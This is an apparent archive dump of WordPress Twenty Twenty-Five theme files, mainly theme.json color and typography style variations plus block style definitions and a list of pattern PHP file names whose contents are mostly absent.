"color": "#3B3B3B33",
"name": "Accent 6",
"slug": "accent-6"
}
]
},
"custom": {
"color": {
"accent-2-opacity-20": "#650DD433"
}
}
},
"styles": {
"blocks": {
"core/code": {
"color": {
"text": "var:preset|color|black",
"background": "var:preset|color|accent-5"
}
},
"core/paragraph": {
"elements": {
"link": {
"color": {
"text": "var:preset|color|accent-2"
}
}
}
},
"core/post-author-name": {
"color": {
"text": "var:preset|color|accent-2"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/post-terms": {
"color": {
"text": "var:preset|color|accent-2"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/post-title": {
"elements": {
"link": {
"color": {
"text": "var:preset|color|accent-3"
}
}
}
},
"core/pullquote": {
"color": {
"text": "var:preset|color|black"
},
"elements": {
"cite": {
"color": {
"text": "var:preset|color|contrast"
}
}
}
},
"core/quote": {
"color": {
"text": "var:preset|color|black"
}
},
"core/site-title": {
"color": {
"text": "var:preset|color|accent-3"
},
"elements": {
"link": {
"color": {
"text": "var:preset|color|accent-3"
}
}
}
}
},
"elements": {
"button": {
"color": {
"text": "var:preset|color|base",
"background": "var:preset|color|accent-2"
},
"border": {
"color": "transparent"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)"
}
}
},
"heading": {
"color": {
"text": "var:preset|color|accent-3"
}
},
"link": {
"color": {
"text": "var:preset|color|accent-3"
}
}
},
"variations": {
"post-terms-1": {
"elements": {
"link": {
"border": {
"color": "var:custom|color|accent-2-opacity-20"
}
}
}
},
"section-1": {
"elements": {
"link": {
"color": {
"text": "var:preset|color|accent-3"
}
}
}
},
"section-2": {
"color": {
"text": "var:preset|color|base"
},
"elements": {
"button": {
"color": {
"background": "var:preset|color|accent-3",
"text": "var:preset|color|base"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-3) 85%, transparent)"
}
}
},
"link": {
"color": {
"text": "currentColor"
}
},
"heading": {
"color": {
"text": "currentColor"
}
}
}
},
"section-3": {
"color": {
"text": "var:preset|color|accent-2"
},
"elements": {
"heading": {
"color": {
"text": "currentColor"
}
}
}
},
"section-4": {
"color": {
"text": "var:preset|color|base"
},
"elements": {
"button": {
"color": {
"text": "var:preset|color|base"
},
":hover": {
"color": {
"text": "var:preset|color|base"
}
}
},
"link": {
"color": {
"text": "currentColor"
}
},
"heading": {
"color": {
"text": "currentColor"
}
}
}
},
"section-5": {
"elements": {
"button": {
"color": {
"background": "var:preset|color|accent-2",
"text": "var:preset|color|base"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)",
"text": "var:preset|color|base"
}
}
},
"heading": {
"color": {
"text": "var:preset|color|base"
}
},
"link": {
"color": {
"text": "var:preset|color|base"
}
}
}
}
}
}
}
styles/colors/01-evening.json 0000666 00000003615 15172262366 0012157 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"title": "Evening",
"settings": {
"color": {
"palette": [
{
"color": "#1B1B1B",
"name": "Base",
"slug": "base"
},
{
"color": "#F0F0F0",
"name": "Contrast",
"slug": "contrast"
},
{
"color": "#786D0A",
"name": "Accent 1",
"slug": "accent-1"
},
{
"color": "#442369",
"name": "Accent 2",
"slug": "accent-2"
},
{
"color": "#D1D0EA",
"name": "Accent 3",
"slug": "accent-3"
},
{
"color": "#CBCBCB",
"name": "Accent 4",
"slug": "accent-4"
},
{
"color": "#353535",
"name": "Accent 5",
"slug": "accent-5"
},
{
"color": "#FFFFFF33",
"name": "Accent 6",
"slug": "accent-6"
}
]
}
},
"styles": {
"color": {
"text": "var:preset|color|accent-4"
},
"elements": {
"button": {
"color": {
"background": "var:preset|color|contrast",
"text": "var:preset|color|base"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--contrast) 85%, transparent)",
"text": "var:preset|color|base"
}
}
}
},
"variations": {
"section-2": {
"elements": {
"button": {
"color": {
"background": "var:preset|color|base",
"text": "var:preset|color|contrast"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)"
}
}
}
}
},
"section-4": {
"elements": {
"button": {
"color": {
"background": "var:preset|color|accent-2",
"text": "var:preset|color|contrast"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)"
}
}
}
}
}
}
}
}
styles/colors/02-noon.json 0000666 00000005370 15172262366 0011476 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"title": "Noon",
"settings": {
"color": {
"palette": [
{
"color": "#F8F7F5",
"name": "Base",
"slug": "base"
},
{
"color": "#191919",
"name": "Contrast",
"slug": "contrast"
},
{
"color": "#FFFFFF",
"name": "Accent 1",
"slug": "accent-1"
},
{
"color": "#F5B684",
"name": "Accent 2",
"slug": "accent-2"
},
{
"color": "#191919",
"name": "Accent 3",
"slug": "accent-3"
},
{
"color": "#5F5F5F",
"name": "Accent 4",
"slug": "accent-4"
},
{
"color": "#F1EEE9",
"name": "Accent 5",
"slug": "accent-5"
},
{
"color": "#19191933",
"name": "Accent 6",
"slug": "accent-6"
}
]
}
},
"styles": {
"color": {
"text": "var:preset|color|accent-4"
},
"blocks": {
"core/button": {
"border": {
"color": "var:preset|color|contrast"
}
},
"core/post-title": {
"color": {
"text": "var:preset|color|accent-3"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/pullquote": {
"color": {
"text": "var:preset|color|accent-3"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/query-title": {
"color": {
"text": "var:preset|color|accent-3"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
}
},
"elements": {
"button": {
"color": {
"background": "var:preset|color|contrast",
"text": "var:preset|color|base"
}
},
"heading": {
"color": {
"text": "var:preset|color|accent-3"
}
},
"link": {
"color": {
"text": "currentColor"
}
}
},
"variations": {
"section-4": {
"color": {
"text": "var:preset|color|accent-2"
},
"elements": {
"button": {
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)"
}
}
},
"heading": {
"color": {
"text": "currentColor"
}
},
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"section-5": {
"color": {
"text": "var:preset|color|base"
},
"elements": {
"button": {
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)"
}
}
},
"heading": {
"color": {
"text": "var:preset|color|base"
}
},
"link": {
"color": {
"text": "currentColor"
}
}
}
}
}
}
}
styles/colors/06-morning.json 0000666 00000010410 15172262366 0012171 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"title": "Morning",
"settings": {
"color": {
"palette": [
{
"color": "#DFDCD7",
"name": "Base",
"slug": "base"
},
{
"color": "#191919",
"name": "Contrast",
"slug": "contrast"
},
{
"color": "#7A9BDB",
"name": "Accent 1",
"slug": "accent-1"
},
{
"color": "#F7E6FF",
"name": "Accent 2",
"slug": "accent-2"
},
{
"color": "#182949",
"name": "Accent 3",
"slug": "accent-3"
},
{
"color": "#5F5F5F",
"name": "Accent 4",
"slug": "accent-4"
},
{
"color": "#D7D3CC",
"name": "Accent 5",
"slug": "accent-5"
},
{
"color": "#19191933",
"name": "Accent 6",
"slug": "accent-6"
}
]
}
},
"styles": {
"color": {
"text": "var:preset|color|accent-4"
},
"blocks": {
"core/code": {
"color": {
"text": "var:preset|color|contrast",
"background": "var:preset|color|accent-5"
}
},
"core/paragraph": {
"elements": {
"link": {
"color": {
"text": "var:preset|color|contrast"
}
}
}
},
"core/post-author-name": {
"elements": {
"link": {
"color": {
"text": "var:preset|color|contrast"
}
}
}
},
"core/post-title": {
"elements": {
"link": {
"color": {
"text": "var:preset|color|contrast"
}
}
}
},
"core/pullquote": {
"color": {
"text": "var:preset|color|contrast"
},
"elements": {
"cite": {
"color": {
"text": "var:preset|color|accent-4"
}
}
}
},
"core/quote": {
"elements": {
"cite": {
"color": {
"text": "var:preset|color|accent-4"
}
}
}
}
},
"elements": {
"button": {
"color": {
"text": "var:preset|color|contrast",
"background": "var:preset|color|accent-1"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-1) 85%, transparent)",
"text": "var:preset|color|contrast"
}
}
},
"heading": {
"color": {
"text": "var:preset|color|contrast"
}
},
"link": {
"color": {
"text": "currentColor"
}
}
},
"variations": {
"post-terms-1": {
"elements": {
"link": {
"color": {
"background": "var:preset|color|accent-5"
},
"border": {
"color": "var:preset|color|accent-5"
}
}
}
},
"section-2": {
"elements": {
"button": {
"color": {
"background": "var:preset|color|accent-1",
"text": "var:preset|color|contrast"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-1) 85%, transparent)"
}
}
}
}
},
"section-3": {
"elements": {
"button": {
"color": {
"background": "var:preset|color|contrast",
"text": "var:preset|color|base"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--contrast) 85%, transparent)"
}
}
}
}
},
"section-4": {
"color": {
"text": "var:preset|color|base"
},
"elements": {
"heading": {
"color": {
"text": "currentColor"
}
},
"button": {
"color": {
"background": "var:preset|color|accent-1",
"text": "var:preset|color|contrast"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-1) 85%, transparent)",
"text": "var:preset|color|contrast"
}
}
},
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"section-5": {
"elements": {
"heading": {
"color": {
"text": "var:preset|color|base"
}
},
"button": {
"color": {
"background": "var:preset|color|accent-1",
"text": "var:preset|color|contrast"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-1) 85%, transparent)"
}
}
},
"link": {
"color": {
"text": "currentColor"
}
}
}
}
}
}
}
styles/colors/08-midnight.json 0000666 00000005121 15172262366 0012330 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"title": "Midnight",
"settings": {
"color": {
"duotone": [
{
"colors": [
"#4433A6",
"#79F3B1"
],
"name": "Midnight filter",
"slug": "midnight-filter"
}
],
"palette": [
{
"color": "#4433A6",
"name": "Base",
"slug": "base"
},
{
"color": "#79F3B1",
"name": "Contrast",
"slug": "contrast"
},
{
"color": "#5644BC",
"name": "Accent 1",
"slug": "accent-1"
},
{
"color": "#372696",
"name": "Accent 2",
"slug": "accent-2"
},
{
"color": "#251D51",
"name": "Accent 3",
"slug": "accent-3"
},
{
"color": "#79F3B1",
"name": "Accent 4",
"slug": "accent-4"
},
{
"color": "#E8B7FF",
"name": "Accent 5",
"slug": "accent-5"
},
{
"color": "#79F3B133",
"name": "Accent 6",
"slug": "accent-6"
}
]
}
},
"styles": {
"blocks": {
"core/code": {
"color": {
"background": "var:preset|color|accent-2",
"text": "var:preset|color|contrast"
}
},
"core/post-date": {
"color": {
"text": "var:preset|color|contrast"
},
"elements": {
"link": {
"color": {
"text": "var:preset|color|contrast"
}
}
}
}
},
"elements": {
"button": {
"color": {
"background": "var:preset|color|contrast",
"text": "var:preset|color|base"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--contrast) 85%, transparent)"
}
}
}
},
"variations": {
"section-1": {
"color": {
"text": "var:preset|color|accent-3"
},
"elements": {
"button": {
"color": {
"background": "var:preset|color|accent-3",
"text": "var:preset|color|accent-5"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-3) 85%, transparent)"
}
}
},
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"section-4": {
"color": {
"text": "var:preset|color|accent-5"
},
"elements": {
"button": {
"color": {
"background": "var:preset|color|accent-5",
"text": "var:preset|color|accent-3"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-5) 85%, transparent)"
}
}
},
"link": {
"color": {
"text": "currentColor"
}
}
}
}
}
}
}
styles/03-dusk.json 0000666 00000016625 15172262366 0010200 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"title": "Dusk",
"settings": {
"color": {
"palette": [
{
"color": "#E2E2E2",
"name": "Base",
"slug": "base"
},
{
"color": "#3B3B3B",
"name": "Contrast",
"slug": "contrast"
},
{
"color": "#F5EDFF",
"name": "Accent 1",
"slug": "accent-1"
},
{
"color": "#650DD4",
"name": "Accent 2",
"slug": "accent-2"
},
{
"color": "#191919",
"name": "Accent 3",
"slug": "accent-3"
},
{
"color": "#5F5F5F",
"name": "Accent 4",
"slug": "accent-4"
},
{
"color": "#DBDBDB",
"name": "Accent 5",
"slug": "accent-5"
},
{
"color": "#3B3B3B33",
"name": "Accent 6",
"slug": "accent-6"
}
]
},
"custom": {
"color": {
"accent-2-opacity-20": "#650DD433"
}
},
"typography": {
"fontFamilies": [
{
"name": "Vollkorn",
"slug": "vollkorn",
"fontFamily": "Vollkorn, serif",
"fontFace": [
{
"src": [
"file:./assets/fonts/vollkorn/Vollkorn-Italic-VariableFont_wght.woff2"
],
"fontWeight": "400 900",
"fontStyle": "italic",
"fontFamily": "Vollkorn"
},
{
"src": [
"file:./assets/fonts/vollkorn/Vollkorn-VariableFont_wght.woff2"
],
"fontWeight": "400 900",
"fontStyle": "normal",
"fontFamily": "Vollkorn"
}
]
},
{
"name": "Fira Code",
"slug": "fira-code",
"fontFamily": "\"Fira Code\", monospace",
"fontFace": [
{
"src": [
"file:./assets/fonts/fira-code/FiraCode-VariableFont_wght.woff2"
],
"fontWeight": "300 700",
"fontStyle": "normal",
"fontFamily": "\"Fira Code\""
}
]
}
]
}
},
"styles": {
"typography": {
"fontFamily": "var:preset|font-family|fira-code",
"fontSize": "var:preset|font-size|medium",
"letterSpacing": "-0.18px",
"lineHeight": "1.5"
},
"blocks": {
"core/code": {
"color": {
"text": "var:preset|color|black",
"background": "var:preset|color|accent-5"
}
},
"core/paragraph": {
"elements": {
"link": {
"color": {
"text": "var:preset|color|accent-2"
}
}
}
},
"core/post-author-name": {
"typography": {
"fontWeight": "300"
},
"color": {
"text": "var:preset|color|accent-2"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/post-terms": {
"typography": {
"fontWeight": "300"
},
"color": {
"text": "var:preset|color|accent-2"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/post-title": {
"typography": {
"fontWeight": "400",
"letterSpacing": "-0.96px"
},
"elements": {
"link": {
"color": {
"text": "var:preset|color|accent-3"
}
}
}
},
"core/pullquote": {
"color": {
"text": "var:preset|color|black"
},
"typography": {
"fontFamily": "var:preset|font-family|vollkorn",
"fontSize": "var:preset|font-size|x-large",
"fontWeight": "400"
},
"elements": {
"cite": {
"typography": {
"fontFamily": "var:preset|font-family|fira-code",
"fontWeight": "300",
"letterSpacing": "-0.14px"
},
"color": {
"text": "var:preset|color|contrast"
}
}
}
},
"core/quote": {
"color": {
"text": "var:preset|color|black"
},
"typography": {
"fontFamily": "var:preset|font-family|fira-code",
"fontWeight": "500",
"letterSpacing": "-0.18px"
}
},
"core/site-title": {
"color": {
"text": "var:preset|color|accent-3"
},
"typography": {
"fontFamily": "var:preset|font-family|vollkorn",
"fontSize": "var:preset|font-size|x-large"
},
"elements": {
"link": {
"color": {
"text": "var:preset|color|accent-3"
}
}
}
}
},
"elements": {
"button": {
"typography": {
"fontFamily": "var:preset|font-family|fira-code",
"fontSize": "var:preset|font-size|medium",
"fontWeight": "400",
"letterSpacing": "-0.36px"
},
"color": {
"text": "var:preset|color|base",
"background": "var:preset|color|accent-2"
},
"border": {
"radius": "4px",
"color": "transparent"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)"
}
}
},
"heading": {
"color": {
"text": "var:preset|color|accent-3"
},
"typography": {
"fontFamily": "var:preset|font-family|vollkorn"
}
},
"h1": {
"typography": {
"fontSize": "48px",
"letterSpacing": "-0.96px;"
}
},
"h2": {
"typography": {
"fontSize": "38px",
"letterSpacing": "-0.96px"
}
},
"h3": {
"typography": {
"fontSize": "32px",
"letterSpacing": "-0.64px"
}
},
"h4": {
"typography": {
"fontSize": "28px",
"letterSpacing": "-0.56px"
}
},
"h5": {
"typography": {
"fontSize": "24px",
"letterSpacing": "-0.48px"
}
},
"link": {
"color": {
"text": "var:preset|color|accent-3"
}
}
},
"variations": {
"post-terms-1": {
"elements": {
"link": {
"border": {
"color": "var:custom|color|accent-2-opacity-20",
"radius": "4px",
"width": "0.8px",
"style": "solid"
}
}
}
},
"section-1": {
"elements": {
"link": {
"color": {
"text": "var:preset|color|accent-3"
}
}
}
},
"section-2": {
"color": {
"text": "var:preset|color|base"
},
"elements": {
"button": {
"color": {
"background": "var:preset|color|accent-3",
"text": "var:preset|color|base"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-3) 85%, transparent)"
}
}
},
"link": {
"color": {
"text": "currentColor"
}
},
"heading": {
"color": {
"text": "currentColor"
}
}
}
},
"section-3": {
"color": {
"text": "var:preset|color|accent-2"
},
"elements": {
"heading": {
"color": {
"text": "currentColor"
}
}
}
},
"section-4": {
"color": {
"text": "var:preset|color|base"
},
"elements": {
"button": {
"color": {
"text": "var:preset|color|base"
},
":hover": {
"color": {
"text": "var:preset|color|base"
}
}
},
"link": {
"color": {
"text": "currentColor"
}
},
"heading": {
"color": {
"text": "currentColor"
}
}
}
},
"section-5": {
"elements": {
"button": {
"color": {
"background": "var:preset|color|accent-2",
"text": "var:preset|color|base"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)",
"text": "var:preset|color|base"
}
}
},
"heading": {
"color": {
"text": "var:preset|color|base"
}
},
"link": {
"color": {
"text": "var:preset|color|base"
}
}
}
}
}
}
}
styles/blocks/03-annotation.json 0000666 00000001245 15172262366 0012651 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"title": "Annotation",
"slug": "text-annotation",
"blockTypes": ["core/heading", "core/paragraph"],
"styles": {
"css": "width: fit-content",
"typography": {
"fontSize": "var:preset|font-size|small",
"lineHeight": "1.5",
"letterSpacing": "normal"
},
"border": {
"color": "currentColor",
"style": "solid",
"width": "1px",
"radius": "16px"
},
"spacing": {
"padding": {
"top": "0.2rem",
"right": "0.6rem",
"bottom": "0.25rem",
"left": "0.6rem"
}
},
"elements": {
"link": {
"typography": {
"textDecoration": "none"
}
}
}
}
}
styles/blocks/01-display.json 0000666 00000000463 15172262366 0012143 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"title": "Display",
"slug": "text-display",
"blockTypes": ["core/heading", "core/paragraph"],
"styles": {
"typography": {
"fontSize": "clamp(2.2rem, 2.2rem + ((1vw - 0.2rem) * 1.333), 3.5rem)",
"lineHeight": "1.2"
}
}
}
styles/blocks/post-terms-1.json 0000666 00000001247 15172262366 0012534 0 ustar 00 {
"version": 3,
"$schema": "https://schemas.wp.org/trunk/theme.json",
"title": "Pill shaped",
"slug": "post-terms-1",
"blockTypes": ["core/post-terms"],
"styles": {
"elements": {
"link": {
"border": {
"color": "var:preset|color|accent-6",
"radius": "20px",
"width": "0.8px",
"style": "solid"
},
"spacing": {
"padding": {
"top": "5px",
"right": "10px",
"bottom": "5px",
"left": "10px"
}
},
"typography": {
"fontWeight": "400",
"lineHeight": "2.8",
"textDecoration": "none"
},
":hover": {
"typography": {
"textDecoration": "underline"
}
}
}
}
}
}
styles/02-noon.json 0000666 00000022115 15172262366 0010171 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"title": "Noon",
"settings": {
"color": {
"palette": [
{
"color": "#F8F7F5",
"name": "Base",
"slug": "base"
},
{
"color": "#191919",
"name": "Contrast",
"slug": "contrast"
},
{
"color": "#FFFFFF",
"name": "Accent 1",
"slug": "accent-1"
},
{
"color": "#F5B684",
"name": "Accent 2",
"slug": "accent-2"
},
{
"color": "#191919",
"name": "Accent 3",
"slug": "accent-3"
},
{
"color": "#5F5F5F",
"name": "Accent 4",
"slug": "accent-4"
},
{
"color": "#F1EEE9",
"name": "Accent 5",
"slug": "accent-5"
},
{
"color": "#19191933",
"name": "Accent 6",
"slug": "accent-6"
}
]
},
"typography": {
"fontFamilies": [
{
"name": "Beiruti",
"slug": "beiruti",
"fontFamily": "Beiruti, sans-serif",
"fontFace": [
{
"fontFamily": "Beiruti",
"fontStyle": "normal",
"fontWeight": "200 900",
"src": [
"file:./assets/fonts/beiruti/Beiruti-VariableFont_wght.woff2"
]
}
]
},
{
"name": "Literata",
"slug": "literata",
"fontFamily": "Literata, serif",
"fontFace": [
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraLight.woff2"
],
"fontWeight": "200",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2"
],
"fontWeight": "200",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Light.woff2"
],
"fontWeight": "300",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-LightItalic.woff2"
],
"fontWeight": "300",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Regular.woff2"
],
"fontWeight": "400",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-RegularItalic.woff2"
],
"fontWeight": "400",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Medium.woff2"
],
"fontWeight": "500",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-MediumItalic.woff2"
],
"fontWeight": "500",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-SemiBold.woff2"
],
"fontWeight": "600",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2"
],
"fontWeight": "600",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Bold.woff2"
],
"fontWeight": "700",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-BoldItalic.woff2"
],
"fontWeight": "700",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraBold.woff2"
],
"fontWeight": "800",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2"
],
"fontWeight": "800",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Black.woff2"
],
"fontWeight": "900",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-BlackItalic.woff2"
],
"fontWeight": "900",
"fontStyle": "italic",
"fontFamily": "Literata"
}
]
}
],
"fontSizes": [
{
"fluid": false,
"name": "Small",
"size": "0.9rem",
"slug": "small"
},
{
"fluid": {
"max": "1.2rem",
"min": "1rem"
},
"name": "Medium",
"size": "1rem",
"slug": "medium"
},
{
"fluid": {
"max": "1.8rem",
"min": "1.6rem"
},
"name": "Large",
"size": "1.6rem",
"slug": "large"
},
{
"fluid": {
"max": "2.2rem",
"min": "1.8em"
},
"name": "Extra Large",
"size": "1.8rem",
"slug": "x-large"
},
{
"fluid": {
"max": "2.8rem",
"min": "2rem"
},
"name": "Extra Extra Large",
"size": "2rem",
"slug": "xx-large"
}
]
}
},
"styles": {
"color": {
"text": "var:preset|color|accent-4"
},
"typography": {
"fontFamily": "var:preset|font-family|literata",
"fontSize": "var:preset|font-size|medium",
"letterSpacing": "-0.01em",
"lineHeight": "1.6"
},
"blocks": {
"core/button": {
"border": {
"color": "var:preset|color|contrast"
},
"shadow": "var:preset|shadow|natural",
"spacing": {
"padding": {
"bottom": "0.6rem",
"left": "1.6rem",
"right": "1.6rem",
"top": "0.6rem"
}
},
"typography": {
"fontFamily": "var:preset|font-family|beiruti"
},
"variations": {
"outline": {
"shadow": "none",
"spacing": {
"padding": {
"bottom": "0.6rem",
"left": "1.6rem",
"right": "1.6rem",
"top": "0.6rem"
}
}
}
}
},
"core/list": {
"typography": {
"lineHeight": "1.3"
}
},
"core/loginout": {
"typography": {
"fontSize": "var:preset|font-size|medium"
}
},
"core/post-terms": {
"typography": {
"fontWeight": "300"
}
},
"core/post-title": {
"color": {
"text": "var:preset|color|accent-3"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/pullquote": {
"color": {
"text": "var:preset|color|accent-3"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
},
"typography": {
"fontFamily": "var:preset|font-family|beiruti",
"fontWeight": "500",
"lineHeight": "1"
}
},
"core/quote": {
"typography": {
"fontSize": "var:preset|font-size|medium"
}
},
"core/query-pagination": {
"typography": {
"fontWeight": "300"
}
},
"core/query-title": {
"color": {
"text": "var:preset|color|accent-3"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"core/site-tagline": {
"typography": {
"fontSize": "var:preset|font-size|small"
}
},
"core/site-title": {
"typography": {
"fontFamily": "var:preset|font-family|beiruti",
"fontWeight": "600",
"letterSpacing": "2.4px",
"textTransform": "uppercase"
}
}
},
"elements": {
"button": {
"color": {
"background": "var:preset|color|contrast",
"text": "var:preset|color|base"
}
},
"h4": {
"typography": {
"fontSize": "var:preset|font-size|large"
}
},
"h5": {
"typography": {
"fontSize": "var:preset|font-size|medium",
"letterSpacing": "0px"
}
},
"h6": {
"typography": {
"fontSize": "var:preset|font-size|small"
}
},
"heading": {
"color": {
"text": "var:preset|color|accent-3"
},
"typography": {
"fontFamily": "var:preset|font-family|beiruti",
"fontWeight": "500",
"letterSpacing": "-0.02em",
"lineHeight": "1.02"
}
},
"link": {
"color": {
"text": "currentColor"
}
}
},
"variations": {
"section-4": {
"color": {
"text": "var:preset|color|accent-2"
},
"elements": {
"button": {
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)"
}
}
},
"heading": {
"color": {
"text": "currentColor"
}
},
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"section-5": {
"color": {
"text": "var:preset|color|base"
},
"elements": {
"button": {
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)"
}
}
},
"heading": {
"color": {
"text": "var:preset|color|base"
}
},
"link": {
"color": {
"text": "currentColor"
}
}
}
}
}
}
}
patterns/hero-overlapped-book-cover-with-links.php 0000666 00000015505 15172262366 0016370 0 ustar 00
international editions.', 'Pattern placeholder text with link.', 'twentytwentyfive' ) ); ?>
patterns/hero-full-width-image.php 0000666 00000005222 15172262366 0013226 0 ustar 00
patterns/banner-with-description-and-images-grid.php 0000666 00000005726 15172262366 0016632 0 ustar 00
' . esc_html_x( 'Fleurs', 'Example brand name.', 'twentytwentyfive' ) . ''
);
?>
patterns/cta-centered-heading.php 0000666 00000003771 15172262366 0013076 0 ustar 00
patterns/services-team-photos.php 0000666 00000005566 15172262366 0013230 0 ustar 00
patterns/page-landing-event.php 0000666 00000001466 15172262366 0012607 0 ustar 00
patterns/contact-centered-social-link.php 0000666 00000004004 15172262366 0014556 0 ustar 00
patterns/cta-heading-search.php 0000666 00000002461 15172262366 0012545 0 ustar 00
patterns/footer-social.php 0000666 00000004573 15172262366 0011712 0 ustar 00
patterns/page-link-in-bio-wide-margins.php 0000666 00000006263 15172262366 0014550 0 ustar 00
patterns/hidden-404.php 0000666 00000003471 15172262366 0010700 0 ustar 00
patterns/cta-newsletter.php 0000666 00000004473 15172262367 0012105 0 ustar 00
patterns/hero-book.php 0000666 00000005606 15172262367 0011030 0 ustar 00
patterns/template-home-photo-blog.php 0000666 00000002502 15172262367 0013744 0 ustar 00
patterns/template-single-left-aligned-content.php 0000666 00000013463 15172262367 0016236 0 ustar 00
patterns/page-business-home.php 0000666 00000001420 15172262367 0012624 0 ustar 00
patterns/grid-with-categories.php 0000666 00000011465 15172262367 0013164 0 ustar 00
patterns/template-archive-news-blog.php 0000666 00000002404 15172262367 0014261 0 ustar 00
patterns/template-query-loop-vertical-header-blog.php 0000666 00000004315 15172262367 0017042 0 ustar 00
patterns/overlapped-images.php 0000666 00000006545 15172262367 0012552 0 ustar 00
' . esc_html_x( 'Fleurs', 'Example brand name.', 'twentytwentyfive' ) . ''
);
?>
patterns/template-archive-text-blog.php 0000666 00000001726 15172262367 0014277 0 ustar 00
patterns/template-404-vertical-header-blog.php 0000666 00000003444 15172262367 0015237 0 ustar 00
patterns/template-search-photo-blog.php 0000666 00000001672 15172262367 0014270 0 ustar 00
patterns/post-navigation.php 0000666 00000002653 15172262367 0012264 0 ustar 00
patterns/heading-and-paragraph-with-image.php 0000666 00000005251 15172262367 0015272 0 ustar 00
patterns/template-search-news-blog.php 0000666 00000002435 15172262367 0014111 0 ustar 00
patterns/hidden-sidebar.php 0000666 00000004007 15172262367 0011777 0 ustar 00
patterns/template-search-text-blog.php 0000666 00000002672 15172262367 0014124 0 ustar 00
patterns/hidden-written-by.php 0000666 00000001627 15172262367 0012477 0 ustar 00
